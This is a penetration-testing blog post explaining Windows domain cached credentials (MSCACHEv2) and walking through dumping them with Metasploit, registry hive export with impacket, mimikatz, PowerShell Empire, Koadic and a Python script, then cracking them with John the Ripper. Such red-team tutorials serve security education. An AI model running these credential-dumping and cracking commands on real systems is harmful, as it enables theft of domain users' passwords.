Hacking Articles
Raj Chandel's Blog

Credential Dumping: Domain Cache Credential

posted in RED TEAMING on JUNE 13, 2020 by RAJ CHANDEL

In this post, we are going to discuss the domain cache credential attack and various technique to extract the password hashes by exploiting domain user.

Table of Content

Domain Cache credential (DCC2)

Microsoft Windows stores previous users' logon information locally so that they can log on if a logon server is unreachable during later logon attempts. This is known as **Domain Cache credential** (DCC) but in-actually it is also known as **MSCACHE** or **MSCASH** hash. It sorted the hash of the user's password that you can't perform pass-the-hash attacks with this type of hash. It uses MSCACHE algorithm for generating password hash and that are stored locally in the Windows registry of Windows operating system. These hashes are stored in the Windows registry, by default the last 10 hashes.

There two versions of MSCASH/MSCACHE or DCC

- MSCACHEV1 or DCC1 used before Vista Server 2003
- MSCACHEV2 or DCC2 used after Vista & Server 2003

Walkthrough

Metasploit

Metasploit helps the pen tester to extract the stored hashes by exploit registry for MSCACHE stored hashes. This module uses the registry to extract the stored domain hashes that have been cached as a result of

a GPO setting. The default setting on Windows is to store the last ten successful logins.

```
use post/windows/gather/cachedump
set session 2
exploit
```

As a result it will dump the password hashes, and these fetched from inside DCC2/MSCACHE as shown in the image given below.

Impacket

This hash can be extracted using python impacket libraries, this required system and security files stored inside the registry. With the help of the following command, you can pull out these files from the registry and save on your local machine.

```
reg save hklm\system c:\system
reg save hklm\security c:\secuirty
```

Further copy the system and security file on that platform where impacket is installed, in our case we copied it inside kali Linux and use the following for extracting DCC2/MSCACHE hashes.

```
python secretsdump.py -security -system system LO
```

Boom!!!! You will get the DCC2/MSCACHEv2 hashes on your screen.

Mimikatz

As we all know, mimikatz is one of the best penetration testing tools for credential dumping windows. So, we can get DCC2 / MSCACHEv2 hashes using mimikatz by installing it on a compromised host and executing the following command:

```
privilege::debug
token::elevate
lsadump::cache
```

And again, you will get the MSCACHEv2 hashes on your screen.

PowerShell Empire

Moving to our next technique, PowerShell Empire has a module that extracts the MSCACHEV2 hashes from the inside registry of the compromised machine. So, download and run Empire on your local machine and compromise the host machine once to use the empire post module and then type as follows:

```
usemodule credentails/mimikatz/cache
set agent <agent_id>
execute
```

And again, you will get the MSCACHEv2 hashes on your screen.

Koadic

Just like the Powershell empire, you can use koadic to extract the DCC2 hashes. You can read more about koadic from here. Run following module to hashes:

```
use mimikatz_dotnet2js
set MIMICMD lsadump::cache
```

And again, you will get the MSCACHEv2 hashes on your screen.

Python Script

Just like impacket, you can download the MSCACHEV2 python script to extract the stored hashes. Download the script from github and then use security and system files (As discussed in Impacted)

```
python mscache.py --security /root/Desktop/securi
```

And again, you will get the MSCACHEv2 hashes on your screen.

Cracking DCC2 or MACHACHE2/MSCASH2

As we know these hashes are not used in PASS The Hash attack, thus we need to use john the ripper to crack these hashes for utilising it.

```
john --format=mscasch2 --wordlist=/usr/share/worc
```

As a result, it has dumped the password in clear text for the given hash file. Hence don't get confused between DCC2 or MSCACHEV2/MSCASH hash these all are same and you can use the above-discussed the method to extract them.

ABOUT THE AUTHOR

RAJ CHANDEL

Raj Chandel is Founder and CEO of Hacking Articles. He is a renowned security evangelist. His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks. Being an infosec enthusiast himself, he nourishes and mentors anyone who seeks it.

PREVIOUS POST
← WINRM PENETRATION TESTING

NEXT POST
HACK THE BOX: MONTEVERDE WALKTHROUGH →

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Website

Notify me of follow-up comments by email.

Notify me of new posts by email.

POST COMMENT

Search

ENTER KEYWORD

Subscribe to Blog via Email

Email Address

SUBSCRIBE

Join our Training Programs

Follow me on Twitter

Categories

- Window Password Hacking
- Wireless Hacking

Articles

Select Month